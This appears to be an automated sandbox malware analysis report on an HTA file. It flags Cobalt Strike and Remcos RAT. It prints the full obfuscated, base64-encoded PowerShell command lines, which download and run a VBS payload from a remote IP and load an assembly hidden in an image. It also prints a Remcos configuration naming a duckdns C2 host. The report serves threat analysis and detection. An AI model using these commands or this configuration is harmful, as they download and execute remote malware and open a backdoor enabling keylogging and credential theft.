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Windows
Analysis Report
creamkissingthingswithcreambananapackagecreamy.hta
Overview
General Information
Detection
Cobalt Strike, Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Contains functionality to bypass UAC (CMSTPLUA)
Detected Cobalt Strike Beacon
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected Powershell decode and execute
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
Yara detected obfuscated html page
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Connects to a pastebin service (likely for C&C)
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
PowerShell case anomaly found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: WScript or CScript Dropper
Suspicious command line found
Suspicious execution chain found
Suspicious powershell command line found
Uses dynamic DNS services
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w10x64
- mshta.exe (PID: 7156 cmdline:
mshta.exe "C:\Users\ user\Deskt op\creamki ssingthing swithcream bananapack agecreamy. hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) - cmd.exe (PID: 5260 cmdline:
"C:\Window s\system32 \cmd.exe" "/C PoWErs heLl -ex bYPAsS -NoP -w 1 -c DEvIcECRE dEnTiAlDEP lOymenT.ex E ; iNVo Ke-expreSS iON($(INvO Ke-eXPRESs iOn('[SyST eM.tExt.En cOdiNg]'+[ CHaR]0X3A+ [Char]0x3a +'uTF8.gET STrinG([sy stEM.conve RT]'+[cHAR ]0x3A+[CHA R]58+'frOm BASE64sTRi nG('+[ChAr ]34+'JDZaM HdNY2diT1g 1ICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgID0gI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgQURELVR ZcGUgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgL U1FTWJFcmR FRmlOSVRpb 04gICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgJ1t EbGxJbXBvc nQoIlVyTE1 vTi5EbGwiL CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICBDaGF yU2V0ID0gQ 2hhclNldC5 Vbmljb2RlK V1wdWJsaWM gc3RhdGljI GV4dGVybiB JbnRQdHIgV VJMRG93bmx vYWRUb0Zpb GUoSW50UHR yICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIG9xa XBUeWZFVyx zdHJpbmcgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgQkdsVVV Fc0ksc3Rya W5nICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIFM sdWludCAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBpdFRVeHR 6cyxJbnRQd HIgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgUE1 sKTsnICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI C1OYW1FICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICJpYkYiI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIC1uQU1 lc1BBY2UgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgYWJmS1N zU0FEICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI C1QYXNzVGh ydTsgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgJ DZaMHdNY2d iT1g1OjpVU kxEb3dubG9 hZFRvRmlsZ SgwLCJodHR wOi8vMTkyL jIxMC4xNTA uMjQvNTUvY 3JlYW15a2l zc2luZ2xpc HNnb29kZm9 yY3JlYW15d Ghpbmdzd2l 0aGNyZWFta WNyZWFtLnR JRiIsIiRlT lY6QVBQREF UQVxjcmVhb XlraXNzaW5 nbGlwc2dvb 2Rmb3JjcmV hbXl0aGluZ 3N3aXRoY3J lYW0udmJTI iwwLDApO1N 0YVJ0LVNMZ WVQKDMpO0l udm9rRS1FW HBSRVNTaW9 uICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICIkZ U5WOkFQUER BVEFcY3JlY W15a2lzc2l uZ2xpcHNnb 29kZm9yY3J lYW15dGhpb mdzd2l0aGN yZWFtLnZiU yI='+[chAr ]34+'))')) )" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 4416 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 1488 cmdline:
PoWErsheLl -e x bY PAsS -NoP -w 1 - c DE vIcECREdEn TiAlDEPlOy menT.exE ; iNVoKe- expreSSiON ($(INvOKe- eXPRESsiOn ('[SySTeM. tExt.EncOd iNg]'+[CHa R]0X3A+[Ch ar]0x3a+'u TF8.gETSTr inG([systE M.conveRT] '+[cHAR]0x 3A+[CHAR]5 8+'frOmBAS E64sTRinG( '+[ChAr]34 +'JDZaMHdN Y2diT1g1IC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgID0gICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg QURELVRZcG UgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgLU1F TWJFcmRFRm lOSVRpb04g ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgJ1tEbG xJbXBvcnQo IlVyTE1vTi 5EbGwiLCAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICBDaGFyU2 V0ID0gQ2hh clNldC5Vbm ljb2RlKV1w dWJsaWMgc3 RhdGljIGV4 dGVybiBJbn RQdHIgVVJM RG93bmxvYW RUb0ZpbGUo SW50UHRyIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIG9xaXBU eWZFVyxzdH JpbmcgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg QkdsVVVFc0 ksc3RyaW5n ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIFMsdW ludCAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBp dFRVeHR6cy xJbnRQdHIg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgUE1sKT snICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIC1O YW1FICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC JpYkYiICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IC1uQU1lc1 BBY2UgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg YWJmS1NzU0 FEICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIC1Q YXNzVGhydT sgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgJDZa MHdNY2diT1 g1OjpVUkxE b3dubG9hZF RvRmlsZSgw LCJodHRwOi 8vMTkyLjIx MC4xNTAuMj QvNTUvY3Jl YW15a2lzc2 luZ2xpcHNn b29kZm9yY3 JlYW15dGhp bmdzd2l0aG NyZWFtaWNy ZWFtLnRJRi IsIiRlTlY6 QVBQREFUQV xjcmVhbXlr aXNzaW5nbG lwc2dvb2Rm b3JjcmVhbX l0aGluZ3N3 aXRoY3JlYW 0udmJTIiww LDApO1N0YV J0LVNMZWVQ KDMpO0ludm 9rRS1FWHBS RVNTaW9uIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICIkZU5W OkFQUERBVE FcY3JlYW15 a2lzc2luZ2 xpcHNnb29k Zm9yY3JlYW 15dGhpbmdz d2l0aGNyZW FtLnZiUyI= '+[chAr]34 +'))')))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - csc.exe (PID: 6080 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\yy1wu0jg \yy1wu0jg. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) - cvtres.exe (PID: 5396 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user\A ppData\Loc al\Temp\RE S5305.tmp" "c:\Users \user\AppD ata\Local\ Temp\yy1wu 0jg\CSCCF3 5FBE9A0D84 29B84CE9BA 7B3CB93B6. TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) - wscript.exe (PID: 6500 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\cream ykissingli psgoodforc reamything swithcream .vbS" MD5: FF00E0480075B095948000BDC66E81F0) - powershell.exe (PID: 6556 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $isohemoly tic = 'JGN hc2VtYXRlZ CA9ICdodHR wczovL3Jlc y5jbG91ZGl uYXJ5LmNvb S9keXRmbHQ 2MW4vaW1hZ 2UvdXBsb2F kL3YxNzMzM TM0OTQ3L2J rbHB5c2V5Z XV0NGltcHc 1MG4xLmpwZ yAnOyRSYWR ub3IgPSBOZ XctT2JqZWN 0IFN5c3Rlb S5OZXQuV2V iQ2xpZW50O yRoZW1pYWJ sZXBzaWEgP SAkUmFkbm9 yLkRvd25sb 2FkRGF0YSg kY2FzZW1hd GVkKTskYml kZXMgPSBbU 3lzdGVtLlR leHQuRW5jb 2RpbmddOjp VVEY4Lkdld FN0cmluZyg kaGVtaWFib GVwc2lhKTs ka2lkZGllc yA9ICc8PEJ BU0U2NF9TV EFSVD4+Jzs kYXZlbnRha WxlID0gJzw 8QkFTRTY0X 0VORD4+Jzs kc3RhaW4gP SAkYmlkZXM uSW5kZXhPZ igka2lkZGl lcyk7JHJlc 2h1ZmZsZSA 9ICRiaWRlc y5JbmRleE9 mKCRhdmVud GFpbGUpOyR zdGFpbiAtZ 2UgMCAtYW5 kICRyZXNod WZmbGUgLWd 0ICRzdGFpb jskc3RhaW4 gKz0gJGtpZ GRpZXMuTGV uZ3RoOyRzd WJhY3V0ZWx 5ID0gJHJlc 2h1ZmZsZSA tICRzdGFpb jskYXJ0aHJ hbGdpYSA9I CRiaWRlcy5 TdWJzdHJpb mcoJHN0YWl uLCAkc3ViY WN1dGVseSk 7JHVuYWRzb 3JiZWQgPSA tam9pbiAoJ GFydGhyYWx naWEuVG9Da GFyQXJyYXk oKSB8IEZvc kVhY2gtT2J qZWN0IHsgJ F8gfSlbLTE uLi0oJGFyd GhyYWxnaWE uTGVuZ3RoK V07JG1pbnR saWtlID0gW 1N5c3RlbS5 Db252ZXJ0X To6RnJvbUJ hc2U2NFN0c mluZygkdW5 hZHNvcmJlZ Ck7JG1pbGx pbmVyID0gW 1N5c3RlbS5 SZWZsZWN0a W9uLkFzc2V tYmx5XTo6T G9hZCgkbWl udGxpa2UpO yRwcm9kaWd hbCA9IFtkb mxpYi5JTy5 Ib21lXS5HZ XRNZXRob2Q oJ1ZBSScpO yRwcm9kaWd hbC5JbnZva 2UoJG51bGw sIEAoJzAvQ XpmOG8vci9 lZS5ldHNhc C8vOnNwdHR oJywgJyRoZ XRlcm9icmF uY2hpYScsI CckaGV0ZXJ vYnJhbmNoa WEnLCAnJGh ldGVyb2JyY W5jaGlhJyw gJ0Nhc1Bvb CcsICckaGV 0ZXJvYnJhb mNoaWEnLCA nJGhldGVyb 2JyYW5jaGl hJywnJGhld GVyb2JyYW5 jaGlhJywnJ GhldGVyb2J yYW5jaGlhJ ywnJGhldGV yb2JyYW5ja GlhJywnJGh ldGVyb2JyY W5jaGlhJyw nJGhldGVyb 2JyYW5jaGl hJywnMScsJ yRoZXRlcm9 icmFuY2hpY ScpKTs=';$ choleate = [System.T ext.Encodi ng]::UTF8. GetString( [System.Co nvert]::Fr omBase64St ring($isoh emolytic)) ;Invoke-Ex pression $ choleate MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 4856 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - CasPol.exe (PID: 6284 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Cas Pol.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Remcos, RemcosRAT | Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity. |
{"Host:Port:Password": ["newglobalfucntioninside.duckdns.org:14646:1"], "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-PVMSPM", "Keylog flag": "0", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Obshtml | Yara detected obfuscated html page | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
REMCOS_RAT_variants | unknown | unknown |
| |
Click to see the 20 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
REMCOS_RAT_variants | unknown | unknown |
| |
Click to see the 19 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDecodeAndExecute | Yara detected Powershell decode and execute | Joe Security |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |